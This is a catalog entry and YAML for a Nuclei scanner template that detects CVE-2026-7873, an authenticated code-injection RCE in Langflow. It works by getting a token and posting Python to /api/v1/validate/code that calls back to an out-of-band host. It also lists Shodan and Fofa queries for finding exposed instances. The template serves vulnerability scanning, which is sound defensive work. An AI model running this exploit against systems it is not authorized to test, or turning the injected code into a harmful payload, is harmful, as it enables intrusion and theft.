CVE-2026-7873: Langflow 1.7.2-1.10.0 - Authenticated Remote Code Execution
- Template: CVE-2026-7873
- Name: Langflow 1.7.2-1.10.0 - Authenticated Remote Code Execution
- Description: IBM Langflow OSS 1.0.0 through 1.10.0 contains a command injection caused by insufficient input validation, letting authenticated attackers execute arbitrary OS commands and read sensitive files, exploit requires authentication.
- Impact: Authenticated attackers can execute arbitrary OS commands and read sensitive files, leading to full system compromise and lateral movement.
- Remediation: Update to the latest version beyond 1.10.0.
- Severity: critical
- Authors: 0x_Akoko, pdteam
- Tags: cve, cve2026, langflow, rce, authenticated, code-injection, ibm, vkev
- References: https://www.ibm.com/support/pages/node/7278441, https://github.com/langflow-ai/langflow/security/advisories/GHSA-w584-2h2r-2hvf, https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/langflow_auth_rce_cve_2026_7873.rb, https://github.com/rmhowe425/POC-CVE-2026-7873, https://nvd.nist.gov/vuln/detail/CVE-2026-7873
- Cves: CVE-2026-7873
- Verified: yes
- Max requests: 4
- Directory: http/cves
- Path: http/cves/2026/CVE-2026-7873.yaml
- Digest: 4a0a00473045022064bab056d9a0b097da911ac53af9b73eb71021d86d7fdb0d1c93331fe1b801aa022100b1dc3654b8138595ae0c22b49540be5cbced49954b44f03e4d9474978173ae26
- Created at: 2026-11-02T16:50:33Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 22
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-7873.yaml
Classification
- Cwe: CWE-94
- Cvss score: 9.9
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Epss score: 0.06917
- Epss percentile: 0.94244
- Not known: cpe
Metadata
- Fofa-query: title="Langflow"
- Max-request: 4
- Product: langflow
- Shodan-query: http.title:"Langflow"
- Vendor: langflow-ai
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| langflow-ai:langflow | no | — |
Labels
- Name: IBM Langflow OSS - Command Injection
- Impact: Authenticated attackers can execute arbitrary OS commands and read sensitive files, leading to full system compromise and lateral movement.
- Remediation: Update to the latest version beyond 1.10.0.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution, file_system_read
- Requirement type: logged_in
- Requirements: Attacker must be authenticated.
- Labels source: projectdiscovery
- From cve: CVE-2026-7873
```yaml
id: CVE-2026-7873
info:
name: Langflow 1.7.2-1.10.0 - Authenticated Remote Code Execution
author: 0x_Akoko,pdteam
severity: critical
description: |
IBM Langflow OSS 1.0.0 through 1.10.0 contains a command injection caused by insufficient input validation, letting authenticated attackers execute arbitrary OS commands and read sensitive files, exploit requires authentication.
impact: |
Authenticated attackers can execute arbitrary OS commands and read sensitive files, leading to full system compromise and lateral movement.
remediation: |
Update to the latest version beyond 1.10.0.
reference:
- https://www.ibm.com/support/pages/node/7278441
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-w584-2h2r-2hvf
- https://github.com/rmhowe425/POC-CVE-2026-7873
- https://nvd.nist.gov/vuln/detail/CVE-2026-7873
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2026-7873
epss-score: 0.06917
epss-percentile: 0.94244
cwe-id: CWE-94
metadata:
verified: true
max-request: 4
product: langflow
vendor: langflow-ai
shodan-query: 'http.title:"Langflow"'
fofa-query: 'title="Langflow"'
tags: cve,cve2026,langflow,rce,authenticated,code-injection,ibm,vkev
flow: |
http(1);
let inRange = false;
if (template["langflow_version"] && template["langflow_package"]) {
let p = String(template["langflow_version"]).split(".");
let major = parseInt(p[0], 10);
let minor = parseInt(p[1], 10);
let patch = parseInt(p[2], 10);
if (isNaN(patch)) { patch = 0; }
if (!isNaN(major) && !isNaN(minor)) {
let atLeast = (major === 1) && (minor > 7 || (minor === 7 && patch >= 2));
let atMost = (major === 1) && (minor < 10 || (minor === 10 && patch === 0));
inRange = atLeast && atMost;
}
}
if (inRange) {
let token = "";
http(2);
if (template["auto_token"]) {
token = template["auto_token"];
}
if (!token) {
http(3);
if (template["login_token"]) {
token = template["login_token"];
}
}
if (token) {
set("auth_token", token);
http(4);
}
}
http:
- raw:
- |
GET /api/v1/version HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: langflow_version
internal: true
part: body
group: 1
regex:
- '"version"\s*:\s*"([0-9][^"]*)"'
- type: regex
name: langflow_package
internal: true
part: body
group: 1
regex:
- '"package"\s*:\s*"([Ll]angflow)"'
- raw:
- |
GET /api/v1/auto_login HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: auto_token
internal: true
part: body
group: 1
regex:
- '"access_token"\s*:\s*"([^"]+)"'
- raw:
- |
POST /api/v1/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
extractors:
- type: regex
name: login_token
internal: true
part: body
group: 1
regex:
- '"access_token"\s*:\s*"([^"]+)"'
- raw:
- |
POST /api/v1/validate/code HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{auth_token}}
{"code": "@(lambda f: (__import__('urllib.request').request.urlopen('http://{{interactsh-url}}', timeout=8), f)[1])\ndef langflow_check():\n pass"}
matchers:
- type: dsl
dsl:
- 'contains_any(interactsh_protocol, "dns", "http")'
digest: 4a0a00473045022064bab056d9a0b097da911ac53af9b73eb71021d86d7fdb0d1c93331fe1b801aa022100b1dc3654b8138595ae0c22b49540be5cbced49954b44f03e4d9474978173ae26:922c64590222798bb761d5b6d8e72950
```